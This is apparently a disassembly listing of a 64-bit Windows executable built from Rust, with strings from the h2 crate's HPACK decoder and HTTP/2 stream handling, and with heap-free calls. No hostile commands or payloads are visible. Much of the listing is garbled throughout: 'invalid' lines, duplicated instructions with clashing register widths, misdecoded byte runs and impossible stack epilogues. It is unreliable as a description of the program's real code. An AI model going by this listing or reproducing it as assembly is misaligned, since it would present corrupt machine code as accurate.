movzx ebx, byte [rsp + 0x110]
cmp bl, 8
jne 0x14001aa7a
jmp case.0x14000207f.457
mov r14b, 1
cmp rax, rcx
jbe case.0x14000207f.457
movzx r8d, r8b
lea r9, [rcx + 1]
mov qword [rsp + 0x38], r9
and r8d, 0x7f
cmp r8, 0x7f
jne 0x14001aa50
cmp rax, r9
jbe case.0x14000207f.457
movzx r10d, byte [rdx + rcx + 1]
lea r9, [rcx + 2]
mov qword [rsp + 0x38], r9
mov r8d, r10d
and r8d, 0x7f
add r8, 0x7f
test r10b, r10b
jns 0x14001aa50
cmp rax, r9
jbe case.0x14000207f.457
movzx r10d, byte [rdx + rcx + 2]
lea r9, [rcx + 3]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11d, 7
add r8, r11
test r10b, r10b
jns 0x14001aa50
cmp rax, r9
jbe case.0x14000207f.457
movzx r10d, byte [rdx + rcx + 3]
lea r9, [rcx + 4]
mov qword [rsp + 0x38], r9
mov r11d, r10d
and r11d, 0x7f
shl r11d, 0xe
add r8, r11
test r10b, r10b
jns 0x14001aa50
cmp rax, r9
jbe case.0x14000207f.457
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
js 0x14001b3c8
and eax, 0x7f
shl eax, 0x15
add r8, rax
jmp 0x14001aa50
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, r15
mov r9b, 1
call fcn.14001c850
movzx r14d, byte [rsp + 0x40]
movzx eax, byte [rsp + 0x80]
cmp al, 8
je case.0x14000207f.457
lea rdx, [rsp + 0x41]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmm2, xmmword [rdx + 0x20]
movups xmm3, xmmword [rdx + 0x2f]
lea r8, [rsp + 0x1a1]
movups xmmword [r8 + 0x2f], xmm3
movups xmmword [r8 + 0x20], xmm2
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov ecx, dword [rdx + 0x40]
mov edx, dword [rdx + 0x43]
mov dword [r8 + 0x43], edx
mov dword [r8 + 0x40], ecx
mov byte [rsp + 0x1a0], r14b
mov byte [rsp + 0x1e0], al
mov rcx, rdi
lea rdx, [rsp + 0x1a0]
call 0x14001d680
mov rcx, rdi
call fcn.14001d870
mov r14, rax
mov r13, qword [rsi + 0x30]
mov rdi, qword [rsi + 0x38]
add rax, r13
cmp rax, rdi
jbe 0x14001ae50
mov rcx, qword [rsp + 0x90]
mov rbp, qword [rcx + 0x10]
mov rax, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x28]
lea r12, [rcx - 1]
mov qword [rsp + 0xc8], rdx
add rcx, rdx
lea rcx, [rcx + rcx*8]
lea r15, [rax + rcx*8]
add r15, 0xfffffffffffffff8
nop word [rax + rax]
cmp r12, 0xffffffffffffffff
mov rbx, qword [rsp + 0x90]
je 0x14001af73
mov qword [rbx + 0x28], r12
mov rax, qword [rsp + 0xc8]
add rax, r12
cmp rax, rbp
mov eax, 0
cmovae rax, rbp
shl rax, 3
lea rax, [rax + rax*8]
mov rcx, r15
sub rcx, rax
movups xmm0, xmmword [rcx - 0x40]
movups xmm1, xmmword [rcx - 0x30]
movups xmm2, xmmword [rcx - 0x20]
movups xmm3, xmmword [rcx - 0x10]
movaps xmmword [rsp + 0x190], xmm3
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
movzx eax, byte [rcx]
mov edx, dword [rcx + 4]
mov dword [rsp + 0xc3], edx
mov ecx, dword [rcx + 1]
mov dword [rsp + 0xc0], ecx
cmp al, 8
je 0x14001af73
movaps xmm0, xmmword [rsp + 0x160]
movaps xmm1, xmmword [rsp + 0x170]
movaps xmm2, xmmword [rsp + 0x180]
movaps xmm3, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x80], al
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
lea rdx, [rsp + 0x41]
mov dword [rdx + 0x43], ecx
mov dword [rdx + 0x40], eax
lea rsi, [rsp + 0x40]
mov rcx, rsi
call fcn.14001d870
sub r13, rax
mov qword [rbx + 0x30], r13
mov rcx, rsi
call fcn.14001d970
lea rax, [r14 + r13]
dec r12
add r15, 0xffffffffffffffb8
cmp rax, rdi
ja 0x14001ad40
nop
cmp rax, rdi
jbe 0x14001af82
lea rdi, [rsp + 0xd0]
mov rcx, rdi
call fcn.14001d970
lea r15, [rsp + 0x30]
lea r12, [rsp + 0x138]
jmp 0x14001b05e
cmp r8b, 0x1f
jbe 0x14001b2d7
mov r14b, 0xa
test r13b, 1
je case.0x14000207f.457
mov r14b, 1
cmp rax, rcx
jbe case.0x14000207f.457
lea r9, [rcx + 1]
mov qword [rsp + 0x38], r9
and r8b, 0x1f
cmp r8b, 0x1f
mov qword [rsp + 0xc8], r13
jne 0x14001b0e7
cmp rax, r9
jbe case.0x14000207f.457
movzx r9d, byte [rdx + rcx + 1]
lea r8, [rcx + 2]
mov qword [rsp + 0x38], r8
mov edi, r9d
and edi, 0x7f
add rdi, 0x1f
test r9b, r9b
jns 0x14001b0eb
cmp rax, r8
jbe case.0x14000207f.457
movzx r9d, byte [rdx + rcx + 2]
lea r8, [rcx + 3]
mov qword [rsp + 0x38], r8
mov r10d, r9d
and r10d, 0x7f
shl r10d, 7
add rdi, r10
test r9b, r9b
jns 0x14001b0eb
cmp rax, r8
jbe case.0x14000207f.457
movzx r9d, byte [rdx + rcx + 3]
lea r8, [rcx + 4]
mov qword [rsp + 0x38], r8
mov r10d, r9d
and r10d, 0x7f
and edx, 0x7f
shl r10d, 0xe
add rdi, r10
test r9b, r9b
jns 0x14001b0eb
cmp rax, r8
jbe case.0x14000207f.457
movzx eax, byte [rdx + rcx + 4]
add rcx, 5
mov qword [rsp + 0x38], rcx
test al, al
js 0x14001b3c8
and eax, 0x7f
shl eax, 0x15
add rdi, rax
jmp 0x14001b0eb
add r13, r14
mov rax, r13
cmp rax, rdi
ja 0x14001ae59
mov rsi, qword [rsp + 0x90]
mov esi, dword [rsp + 0x90]
mov qword [rsi + 0x30], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0xf0], dl
movups xmm3, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
sub byte [rax + 0x39], r9b
ror dword [rax - 0x73], 0xbc
and al, 0xd0
add byte [rax], al
add byte [rbp + rcx*4 + 0x7c], cl
and al, 0x30
sub byte [rax + 0x39], r9b
ror dword [rax - 0x73], 0xbc
and al, 0xd0
add byte [rax], al
add byte [rbp + rcx*4 + 0x7c], cl
and al, 0x30
lea r12, [rsp + 0x138]
jne 0x14001b009
mov rcx, qword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
call fcn.14001da30
mov rax, qword [rsi + 0x10]
mov rcx, qword [rsi + 0x28]
invalid
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
dec r8
add rax, r8
cmovae rax, r8
cmovae eax, eax
mov qword [rsi + 0x20], rax
inc rcx
mov qword [rsi + 0x28], rcx
lea rax, [rax + rax*8]
add al, 0xc0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
invalid
movaps xmm3, xmmword [rsp + 0x70]
movups xmmword [rdx + rax*8], xmm0
adc dword [rdx + rax*8], eax
invalid
adc dword [rdx + rax*8], eax
movups xmmword [rdx + rax*8 + 0x10], xmm1
movups xmmword [rdx + rax*8 + 0x20], xmm2
adc dword [rdx + rax*8 + 0x20], edx
movups xmmword [rdx + rax*8 + 0x30], xmm3
mov rcx, qword [rsp + 0x80]
add byte [rax - 0x77], cl
invalid
invalid
invalid
add byte [rax - 0x77], cl
ret 0x4540
xor r13d, r13d
lea rsi, [rsp + 0x40]
mov rcx, rsi
int1
mov rdx, r15
xor r8d, r8d
call fcn.14001bdb0
mov rax, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x1a0], al
movups xmm0, xmmword [rsp + 0x1a0]
movups xmm1, xmmword [rsp + 0x1b0]
movups xmm2, xmmword [rsp + 0x1c0]
movups xmm3, xmmword [rsp + 0x1d0]
adc byte [rsp + 0x1d0], bl
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x70], ebx
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
and al, 0x50
movaps xmmword [rsp + 0x40], xmm0
mov rcx, r12
mov rdx, rsi
bnd call fcn.14001c0b0
bnd call fcn.14001c0b0
add byte [rax], al
mov rsi, qword [rsp + 0x90]
jmp 0x14001aafe
movzx edi, r8b
mov r14b, 0xa
cmp rdi, qword [rsi + 0x60]
cmp edi, dword [rsi + 0x60]
cmp edi, dword [rsi + 0x60]
ja case.0x14000207f.457
loop 0x14001b0f7
add byte [rax], al
add byte [rax - 0x77], cl
jle case.0x1400284e6.439
mov qword [rsi + 0x38], rdi
mov rbx, qword [rsi + 0x30]
cmp rbx, rdi
jbe 0x14001b1c5
invalid
mov r15, qword [rsi + 0x10]
mov rax, qword [rsi + 0x18]
mov r12, qword [rsi + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
imul edi, edi, 0x48e1014c
lea ecx, [rcx + rcx*8]
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
sub byte [rax - 0x73], cl
sub byte [rax - 0x73], cl
imul edi, edi, 0x48e1014c
lea ecx, [rcx + rcx*8]
lea r13, [rax + rcx*8]
add r13, 0xffffffffffffffb8
jmp 0x14001b140
dec rbp
add r13, 0xffffffffffffffb8
add ebp, 0xffffffb8
add ebp, 0xffffffb8
cmp rbx, rdi
cmp ebx, edi
jbe 0x14001b1c5
cmp rbp, 0xffffffffffffffff
je 0x14001b3df
lea rax, [r12 + rbp]
cmp rax, r15
clc
mov eax, 0
add byte [rax], al
cmovae rax, r15
shl rax, 3
lea rax, [rax + rax*8]
mov r14, r13
out dx, al
invalid
out dx, al
sub r14, rax
mov rcx, r14
call fcn.14001d870
sub rbx, rax
mov qword [rsi + 0x30], rbx
mov dword [rsi + 0x30], ebx
mov dword [rsi + 0x30], ebx
mov qword [rsi + 0x28], rbp
mov rax, qword [r14 + 0x40]
mov qword [rsp + 0x80], rax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x80], eax
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsi], al
movups xmm0, xmmword [r14]
movups xmm1, xmmword [r14 + 0x10]
movups xmm2, xmmword [r14 + 0x20]
movups xmm3, xmmword [r14 + 0x30]
and byte [rcx + 0xf], al
adc byte [rsi + 0x30], bl
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
sub dword [rsp + 0x60], edx
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
cmp al, 8
je case.0x14000207f.483
invalid
invalid
invalid
lea rcx, [rsp + 0x40]
call fcn.14001d970
invalid
add byte [rax], al
jmp case.0x14000207f.483
dec dword [rax - 0x73]
and al, 0x40
lea rcx, [rsp + 0x40]
lea r15, [rsp + 0x30]
mov rdx, r15
xor r8d, r8d
call fcn.14001bdb0
mov rax, qword [rsp + 0x40]
shr al, 0xd6
or eax, dword [rax]
add byte [rax - 0x75], cl
and al, 0x40
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov r8, qword [rsp + 0x50]
lea rcx, [rsp + 0x58]
pop rax
pop rax
call qword [rax + 0x10]
lea rdi, [rsp + 0xd0]
lea edi, [rsp + 0xd0]
and al, 0xd0
add byte [rax], al
add byte [rbp + rcx*4 - 0x5c], cl
and al, 0x38
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], cl
lea r12, [rsp + 0x138]
mov r13, qword [rsp + 0xc8]
and al, 0xc8
add byte [rax], al
add cl, ch
invalid
clc
invalid
invalid
and al, 0xc8
add byte [rax], al
add cl, ch
invalid
dec dword [rbx + rcx*4 - 0x7c]
and al, 0x98
cwde
mov r8, qword [rsp + 0x98]
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rdx + 1], dh
add byte [rax], al
invalid
add byte [rax], al
cmp r8, 2
je 0x14001b392
invalid
lea rdx, [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
mov al, 0
add byte [rax], al
mov rcx, qword [rsp + 0xa0]
invalid
invalid
test byte [rax + rbp*4], ah
mov al, 0
add byte [rax], al
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
test r8, r8
je 0x14001b24f
invalid
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
adc cl, byte [rbx + rcx*4 + 0x40]
adc byte [rcx - 1], cl
invalid
adc cl, byte [rbx + rcx*4 + 0x40]
adc byte [rcx - 1], cl
invalid
mov r8, qword [rax + 0x10]
dec r8
dec eax
dec eax
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
add ecx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x98]
cmp r8, 2
clc
add cl, byte [rdi]
test byte [rsi], ch
add dword [rax], eax
add byte [rax], al
clc
add cl, byte [rdi]
test byte [rsi], ch
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rsp + 0xb0]
invalid
invalid
mov word [rax + riz*4], fs
and al, 0xa0
add byte [rax], al
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
test al, 0
add byte [rax], al
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
test al, 0
add byte [rax], al
test r8, r8
je 0x14001b3b6
invalid
test r8, r8
je 0x14001b3b6
invalid
add byte [rbx + rcx*4 + 0x40], cl
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add al, dh
dec qword [rax]
add byte [rax - 0x75], cl
test byte [rax + riz*4], ah
add byte [rax], al
add al, dh
dec qword [rax]
jne 0x14001b392
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
add byte [rax], al
add al, ch
invalid
popfq
invalid
invalid
add byte [rax], al
add al, ch
mov word [rbp - 0x49be0002], ds
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
jl 0x14001b2ee
and al, 0x2e
add byte [rdi], cl
add byte cs:[rdi], cl
jne 0x14001b39f
test ebp, ecx
add byte [rax], al
add cl, ch
invalid
jmp 0x14001b39c
mov r14b, 3
mov r8, qword [rsp + 0x98]
cmp r8, 2
je 0x14001b38c
invalid
invalid
add byte [rax], al
invalid
cwde
add byte [rax], al
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rax + 0x48000000], ah
lea edx, [rsp + 0xb0]
lea rdx, [rsp + 0xb0]
xchg esp, eax
and al, 0xb0
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + riz*4], fs
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
je 0x14001b31b
test byte [rax + rbp*4], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rdx + rdx + 0x4c], 0x8b
adc byte [rcx - 1], cl
adc byte [rcx - 1], cl
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add ecx, eax
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
add ecx, eax
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x98]
cmp r8, 2
je 0x14001b38c
invalid
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
and al, 0xa8
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
je 0x14001b386
and al, 0xa0
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + rbp*4], ah
and al, 0xa8
movabs al, byte [0xa824848b48000000]
add byte [rax], al
add byte [rbp - 0x7b], cl
sal byte [rbp + rdi + 0x4c], 0x8b
adc byte [rcx - 1], cl
adc byte [rcx - 1], cl
mov r8, qword [rax + 0x10]
dec r8
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
add rcx, r8
add rcx, 0x10
add ecx, 0x10
adc byte [rcx - 1], cl
enter 0xffffffffffff8349, 0xffffffffffffffe0
invalid
add ecx, 0x10
rcl dword [rax], 0xff
nop
add byte [rax], 0
add byte [rax], al
mov rax, qword [rsp + 0xa0]
lock dec qword [rax]
call qword [rax + 0x80]
mov rax, qword [rsp + 0xa0]
lock dec qword [rax]
jne 0x14001b38c
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
mov edx, dword [rsp + 0xa8]
mov edx, dword [rsp + 0xa8]
xchg esp, eax
and al, 0xa8
add byte [rax], al
add al, ch
invalid
int3
call fcn.140005050
jmp 0x14001b38c
call qword [rax + 0x80]
cmp r14b, 0xc
jne 0x14001b39f
dec byte [rsi*2 + 0x13b6410d]
or al, 0x75
or eax, 0x8013b641
invalid
invalid
jl 0x14001b3bc
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
add byte cs:[rbp + 3], dh
jne 0x14001b39f
mov r14b, 0x15
mov eax, r14d
add rsp, 0x1e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rdi
ret
call qword [rax + 0x80]
mov r14b, 0x13
cmp byte [rsp + 0x2e], 0
jne 0x14001b39f
jmp 0x14001b39c
mov r14b, 0xb
mov r8, qword [rsp + 0x98]
and al, 0x98
add byte [rax], al
invalid
and al, 0x98
cwde
add byte [rax], al
add byte [rcx - 0x7d], cl
cmp r8, 2
invalid
test dword [rdi], ecx
invalid
add byte [rax], al
cmp r8, 2
jne case.0x140019144.372
invalid
invalid
invalid
jmp 0x14001b38c
lea rcx, [0x140115f82]
str word [rbp + rcx*4 + 5]
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srchpackdecoder.rsSize_of_table___0__but_no_headers_left_
add eax, 0xfabc3
mov edx, 0x28
call fcn.1401088c0
int3
leave
invalid
mov rsi, rdx
mov qword [rsp + 0x38], rcx
and al, 0x38
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, str.StreamIdLength
mov r8d, 8
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x77], cl
je 0x14001b44d
and al, 0x28
push rax
sbb byte [rax - 0x77], cl
je 0x14001b44d
invalid
and al, 0x28
sub byte [rax + 0x48302444], cl
mov dword [rsp + 0x20], 0
add byte [rax], al
invalid
mov byte [rsp + 0x30], al
and al, 0x30
mov qword [rsp + 0x20], 0
add byte [rax], al
add dh, al
and al, 0x31
add byte [rbp + rcx*4 + 5], cl
std
movabs byte [0x4820244c8d48000f], al
add byte [rax - 0x73], cl
and al, 0x20
invalid
mov byte [rsp + 0x31], 0
lea r8, [0x140115740]
add byte [rax - 0x73], cl
and al, 0x20
add byte [rax - 0x73], cl
and al, 0x20
lea rdx, [rsp + 0x38]
lea edx, [rsp + 0x38]
and al, 0x38
cmp al, ch
mov bl, 0xff
dec dword [rax - 0x75]
and al, 0x20
call fcn.140016790
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
push rsp
and al, 0x30
test rcx, rcx
je case.0x14001a5bd.452
mov al, 1
test dl, dl
jne case.0x140019144.370
mov rsi, qword [rsp + 0x28]
cmp rcx, 1
jne 0x14001b49f
sub byte [rax - 0x7d], cl
stc
add dword [rbp + 0x2d], esi
cmp byte [rsp + 0x31], 0
je 0x14001b49f
test byte [rsi + 0x34], 4
jne 0x14001b49f
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x140143ec0]
adc eax, 0x128a32
and byte [rax - 0x75], r9b
sub byte [rax - 0x73], r9b
adc eax, 0x128a32
mov dl, byte [rdx]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
sbb byte [rcx - 0x7bfe4f3f], cl
leave
mov al, 1
test cl, cl
jne case.0x140019144.370
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14014d458]
adc eax, 0x131faa
mov r8d, 1
call qword [rax + 0x18]
jmp case.0x140019144.370
mov eax, edx
test al, al
setne al
add rsp, 0x40
pop rsi
ret
int3
mov dh, 1
cmp al, 0xb
je 0x14001b4fd
cmp al, 0xa
jb 0x14001b4fd
cmp qword [rsi + 0x10], 0
je 0x14001b4fd
invalid
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
outsb dx, byte [rsi]
invalid
invalid
invalid
str word [rax - 0x75]
sbb byte [rax - 0x7b], r9b
sal byte [rdi + rcx + 0x48], 0x8d
mov rax, qword [rsi + 0x18]
mov eax, dword [rsi + 0x18]
test rax, rax
je case.0x1400284e6.413
lea rcx, [rsi + 0x30]
mov rdx, qword [rsi + 0x20]
mov r8, qword [rsi + 0x28]
call qword [rax + 0x10]
xor byte [rax - 0x75], r9b
push rsi
and byte [rbx + rcx*4 + 0x46], cl
sub bh, bh
push rax
adc byte [rax - 0x75], cl
mov rax, qword [rsi + 0x38]
invalid
invalid
mov rax, qword [rsi + 0x38]
test rax, rax
je 0x14001b52d
sal byte [rdi + rcx + 0x48], 0x8d
push rax
lea rcx, [rsi + 0x50]
mov rdx, qword [rsi + 0x40]
mov r8, qword [rsi + 0x48]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x58]
test rax, rax
je 0x14001b545
invalid
cmovs ecx, dword [rbp - 0x74b78fb2]
push rsi
invalid
lea rcx, [rsi + 0x70]
lea ecx, [rsi + 0x70]
jo 0x14001b583
mov rdx, qword [rsi + 0x60]
mov edx, dword [rsi + 0x60]
mov r8, qword [rsi + 0x68]
call qword [rax + 0x10]
mov rax, qword [rsi + 0x78]
test rax, rax
je 0x14001b56f
mov rax, qword [rax + 0x10]
lea rcx, [rsi + 0x90]
nop
add byte [rax], al
invalid
adc byte [rax - 0x73], cl
mov ss, word [rax + 0x48000000]
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x80]
nop
add byte [rax], al
add byte [rax - 0x75], cl
mov rdx, qword [rsi + 0x80]
mov r8, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x80]
mov r8, qword [rsi + 0x88]
add rsp, 0x20
pop rsi
jmp rax
nop
add rsp, 0x20
pop rsi
ret
int3
int3
in al, dx
and byte [rbx + 0x6750239], al
invalid
add rsp, 0x20
pop rsi
invalid
ret
ror dword [rax], 0xe8
xchg esp, eax
imul eax, dword [rbx], 0
lea rcx, [rsi + 0x68]
call fcn.14001b4d0
mov r8, qword [rsi + 0x140]
add dword [rax], eax
invalid
test r8b, 1
jne 0x14001b5e1
rol byte [rcx], 0x75
invalid
lock dec qword [r8 + 0x20]
jne 0x14001b58a
invalid
and byte [rbp - 0x2f], sil
ror dword [rcx - 0x75], 1
and byte [rcx - 0x7d], cl
cmp byte [rax], al
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14001b5f8
mov rax, qword [r8 + 8]
mov rcx, qword [0x140182260]
or eax, 0x166c92
or byte [rax - 0x75], cl
or eax, 0x166c92
invalid
xor edx, edx
mov rsi, r8
mov r8, rax
invalid
sar bh, 0x15
test byte [rbp + 0xf], ch
insd dword [rdi], dx
str word [rcx - 0x77]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
jmp 0x14001b5f8
insd dword [rdi], dx
str word [rcx - 0x77]
invalid
shr r8, 5
neg r8
cmp qword [rsi + 0x138], r8
je 0x14001b58a
add dword [rax], eax
add byte [rcx + rbx*4 + 0x4c], dh
add eax, dword [rsi + 0x128]
add dword [rax], eax
invalid
add r8, qword [rsi + 0x128]
add dword [rax], eax
add byte [rax - 0x75], cl
mov ecx, dword [0x140182260]
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
add rsp, 0x20
invalid
invalid
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
add ah, cl
int3
test r8, r8
je 0x14001b683
invalid
imul ecx, dword [rcx - 0x7d], 0x2c733ef8
cmp r8, 0x3e
jae case.default.0x14001b638
lea rdx, [0x1401157d0]
dec r8
lea rax, [0x140175da4]
str word [rcx - 1]
enter 0xffffffffffff8d48, 5
jae 0x14001b5d6
add eax, 0x15a773
adc eax, 0x4634e00
or byte [rcx + 1], 0xc0
add r8, rax
movsxd r8, dword [rax + r8*4]
add r8, rax
add eax, eax
jmp r8
mov r10b, 2
mov r8d, 1
xor r11d, r11d
xor ebx, ebx
jmp 0x14001bd68
add r8, 0xffffffffffffffc2
cmp qword [rdx + 0x18], r8
sbb byte [rsi + 0x2d], dh
sbb byte [rsi + 0x2d], dh
sub eax, 0x4c028b48
add eax, dword [rdx + 0x10]
mov rax, qword [rdx]
add r8, qword [rdx + 0x10]
xor r9d, r9d
cmp r8, rax
cmovae r9, rax
enter 0x294d, 0xffffffffffffffc8
enter 0x294d, 0xffffffffffffffc8
lea rax, [r8 + r8*8]
add al, 0xc0
shl rax, 3
loopne case.0x1400284e6.412
add rax, qword [rdx + 8]
mov rdx, rax
add rsp, 0x60
pop rsi
jmp 0x14001d680
invalid
add byte [rax], al
or byte [rax - 0x77], cl
ret 0x8348
mov byte [rcx], 5
mov byte [rcx + 0x40], 8
add eax, 0x84041c6
add rsp, 0x60
pop rsi
ret
invalid
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x37
jmp 0x14001bd60
mov al, 6
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x2c
jmp 0x14001bd60
nop
invalid
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
and al, 0x20
and al, 0x20
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x26
jmp 0x14001bd60
jo 0x14001b6f4
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
ror byte [rdi], 0x29
and al, 0x20
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x40
jmp 0x14001bd60
invalid
push rax
invalid
add byte [rdi], cl
push rdi
ror byte [rdi], 0x29
and al, 0x20
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x32
jmp 0x14001bd60
xor byte [rsi], al
add byte [rax], al
xor byte [rsi], al
add byte [rax], al
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x45
add byte [rax], al
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x23
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
mov r8d, 0x25
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
sub dword [rsp + 0x20], eax
lea rax, [0x1401157d0]
mov r9d, 1
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
sbb byte [rax], al
add byte [rax], al
mov r8d, 0x18
jmp 0x14001bd60
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rax, [0x1401157d0]
mov r9d, 1
